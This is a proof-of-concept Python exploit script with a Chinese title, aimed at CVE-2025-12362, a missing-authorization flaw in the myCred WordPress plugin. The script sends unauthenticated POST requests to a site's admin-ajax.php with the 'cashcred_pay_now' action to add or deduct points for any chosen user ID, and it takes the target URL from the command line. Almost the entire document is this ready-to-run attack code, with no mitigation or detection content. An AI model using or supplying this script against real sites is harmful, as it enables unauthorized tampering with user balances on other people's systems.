CVE-2025-12362 myCred WordPress插件缺少授权漏洞

#!/usr/bin/env python3 """ CVE-2025-12362 PoC - myCred WordPress Plugin Missing Authorization This PoC demonstrates the unauthorized modification of user point balances via the cashcred_pay_now AJAX action. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" TARGET_USER_ID = 1 # Target user ID to modify POINTS_TO_ADD = 1000 # Amount of points to add def exploit_missing_authorization(): """ Exploit the missing authorization vulnerability in myCred plugin. This allows unauthenticated users to modify point balances. """ # Construct the AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Prepare the malicious request data data = { 'action': 'cashcred_pay_now', 'user_id': TARGET_USER_ID, 'amount': POINTS_TO_ADD, 'type': 'add', # or 'deduct' depending on desired action 'ctype': 'mycred_default' } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-12362: Missing Authorization in myCred") print(f"[*] Target User ID: {TARGET_USER_ID}") print(f"[*] Points to modify: {POINTS_TO_ADD}") try: # Send the request without authentication response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") print("[!] Vulnerability may be present - verify point balance in WordPress admin") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_missing_authorization()